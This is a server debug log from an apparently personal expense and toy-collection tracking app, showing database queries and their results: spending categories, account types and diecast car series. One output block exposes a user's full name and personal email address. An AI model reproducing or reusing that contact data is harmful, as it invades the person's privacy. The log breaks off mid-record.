2026-02-04T07:05:06.248Z server-connect:app Executing action step select
2026-02-04T07:05:06.248Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T07:05:06.249Z server-connect:app Executing action step identify
2026-02-04T07:05:06.249Z server-connect:app options: { provider: 'security' }
2026-02-04T07:05:06.249Z server-connect:output identity: 1
2026-02-04T07:05:06.249Z server-connect:app Executing action step restrict
2026-02-04T07:05:06.249Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:05:06.250Z server-connect:output restrict: undefined
2026-02-04T07:05:06.250Z server-connect:app Executing action step single
2026-02-04T07:05:06.250Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T07:05:06.250Z server-connect:app Executing action step identify
2026-02-04T07:05:06.250Z server-connect:app options: { provider: 'security' }
2026-02-04T07:05:06.250Z server-connect:output identity: 1
2026-02-04T07:05:06.250Z server-connect:app Executing action step restrict
2026-02-04T07:05:06.250Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:05:06.251Z server-connect:output restrict: undefined
2026-02-04T07:05:06.251Z server-connect:app Executing action step select
2026-02-04T07:05:06.252Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'collection_type' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `name` from `collection_type` where `collection_type`.`deleted` = ?'
  }
}
2026-02-04T07:05:06.253Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T07:05:06.254Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T07:05:06.254Z server-connect:output list: [
  { id: 1, name: 'Unit' },
  { id: 2, name: 'Transaction Type' },
  { id: 3, name: 'Account Type' },
  { id: 4, name: 'Loan Mode' },
  { id: 5, name: 'Account Transactions' },
  { id: 6, name: 'Trading Platform' },
  { id: 7, name: 'Loan Type' },
  { id: 8, name: 'Supplement Brand' },
  { id: 9, name: 'Diecast Brand' },
  { id: 10, name: 'Diecast Series' },
  { id: 11, name: 'Vehicle Brand' }
]
2026-02-04T07:05:06.255Z server-connect:output restrict: undefined
2026-02-04T07:05:06.255Z server-connect:app Executing action step paged
2026-02-04T07:05:06.255Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T07:05:06.257Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 186,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 175 },
    current: 1,
    total: 8
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Jams Toys',
      id: 191,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-04T07:05:11.593Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T07:05:11.594Z server-connect:app Executing action step identify
2026-02-04T07:05:11.594Z server-connect:app options: { provider: 'security' }
2026-02-04T07:05:11.594Z server-connect:output identity: 1
2026-02-04T07:05:11.594Z server-connect:app Executing action step restrict
2026-02-04T07:05:11.594Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:05:11.595Z server-connect:output restrict: undefined
2026-02-04T07:05:11.595Z server-connect:app Executing action step paged
2026-02-04T07:05:11.595Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T07:05:11.597Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 59,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Multipack',
      id: 81,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Exclusive',
      id: 82,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Moving Parts',
      id: 83,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Collectors',
      id: 84,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Racing Cars',
      id: 85,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Vintage',
      id: 86,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Deluxe Cars',
      id: 87,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Giftpack',
      id: 88,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Construction',
      id: 89,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Emergency',
      id: 90,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Basic',
      id: 91,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Fantasy',
      id: 92,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Other',
      id: 93,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Dirt',
      id: 94,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Race day',
      id: 95,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Muscle Mania',
      id: 96,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Hot Trucks',
      id: 97,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Celebration Racers',
      id: 98,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW 70s vs 90s',
      id: 99,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-04T07:05:15.040Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T07:05:15.040Z server-connect:app Executing action step identify
2026-02-04T07:05:15.041Z server-connect:app options: { provider: 'security' }
2026-02-04T07:05:15.041Z server-connect:output identity: 1
2026-02-04T07:05:15.041Z server-connect:app Executing action step restrict
2026-02-04T07:05:15.041Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:05:15.041Z server-connect:output restrict: undefined
2026-02-04T07:05:15.041Z server-connect:app Executing action step paged
2026-02-04T07:05:15.041Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T07:05:15.043Z server-connect:output records: {
  offset: 25,
  limit: 25,
  total: 59,
  page: {
    offset: { first: 0, prev: 0, next: 50, last: 50 },
    current: 2,
    total: 3
  },
  data: [
    {
      name: 'HW Track Champs',
      id: 100,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Then and now',
      id: 101,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Wagons',
      id: 102,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Modified',
      id: 103,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Wide Widebody',
      id: 104,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Art Cars',
      id: 105,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Peak Pursuit',
      id: 106,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW EV',
      id: 107,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Safari Mode',
      id: 144,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Factory Fresh',
      id: 145,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Track Aces',
      id: 146,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Mustang 60th',
      id: 147,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Wild Widebody',
      id: 148,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Compact Kings',
      id: 149,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Reverse Rake',
      id: 150,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Rod Squad',
      id: 151,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Fan Driver',
      id: 159,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: "HW Truckin' Along",
      id: 160,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Batman',
      id: 161,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Neon Speeders - Mix 2',
      id: 162,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Starting Grid',
      id: 163,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Nightspeed',
      id: 164,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Metro',
      id: 165,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Experimotors',
      id: 166,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Exotics',
      id: 170,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-04T07:05:17.625Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T07:05:17.625Z server-connect:app Executing action step identify
2026-02-04T07:05:17.625Z server-connect:app options: { provider: 'security' }
2026-02-04T07:05:17.625Z server-connect:output identity: 1
2026-02-04T07:05:17.625Z server-connect:app Executing action step restrict
2026-02-04T07:05:17.625Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:05:17.626Z server-connect:output restrict: undefined
2026-02-04T07:05:17.626Z server-connect:app Executing action step paged
2026-02-04T07:05:17.626Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T07:05:17.627Z server-connect:output records: {
  offset: 50,
  limit: 25,
  total: 59,
  page: {
    offset: { first: 0, prev: 25, next: 50, last: 50 },
    current: 3,
    total: 3
  },
  data: [
    {
      name: 'Majorette Dream Italy Gift Set',
      id: 171,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Majorette Light Racer Gift Set',
      id: 172,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Majorette Porsche Edition Gift Set',
      id: 173,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Majorette Limited Edition 9 Gift Set',
      id: 174,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Silver Series',
      id: 176,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Ride-Ons',
      id: 178,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Euro',
      id: 179,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Pantone',
      id: 180,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Pop Culture',
      id: 181,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-04T07:05:44.273Z server-connect:router Serving serverConnect /api/masters/collections/manage
2026-02-04T07:05:44.273Z server-connect:app Executing action step identify
2026-02-04T07:05:44.273Z server-connect:app options: { provider: 'security' }
2026-02-04T07:05:44.273Z server-connect:output identity: 1
2026-02-04T07:05:44.273Z server-connect:app Executing action step restrict
2026-02-04T07:05:44.273Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:05:44.274Z server-connect:output restrict: undefined
2026-02-04T07:05:44.274Z server-connect:app Executing action step condition
2026-02-04T07:05:44.274Z server-connect:app options: {
  if: '{{$_POST.id}}',
  then: {
    steps: {
      name: 'update',
      module: 'dbupdater',
      action: 'update',
      options: [Object],
      meta: [Array]
    }
  },
  else: {
    steps: {
      name: 'insert',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-04T07:05:44.274Z server-connect:app Executing action step insert
2026-02-04T07:05:44.274Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'collections',
    returning: 'id',
    query: 'insert into `collections` (`collectiontype_id`, `name`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T07:05:44.275Z server-connect:output insert: { affected: 1, identity: 193 }
2026-02-04T07:05:44.275Z server-connect:output condition: undefined
2026-02-04T07:05:44.567Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T07:05:44.567Z server-connect:app Executing action step identify
2026-02-04T07:05:44.567Z server-connect:app options: { provider: 'security' }
2026-02-04T07:05:44.567Z server-connect:output identity: 1
2026-02-04T07:05:44.567Z server-connect:app Executing action step restrict
2026-02-04T07:05:44.567Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:05:44.568Z server-connect:output restrict: undefined
2026-02-04T07:05:44.568Z server-connect:app Executing action step paged
2026-02-04T07:05:44.568Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T07:05:44.569Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 60,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Multipack',
      id: 81,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Exclusive',
      id: 82,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Moving Parts',
      id: 83,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Collectors',
      id: 84,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Racing Cars',
      id: 85,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Vintage',
      id: 86,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Deluxe Cars',
      id: 87,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Giftpack',
      id: 88,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Construction',
      id: 89,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Emergency',
      id: 90,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Basic',
      id: 91,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Fantasy',
      id: 92,
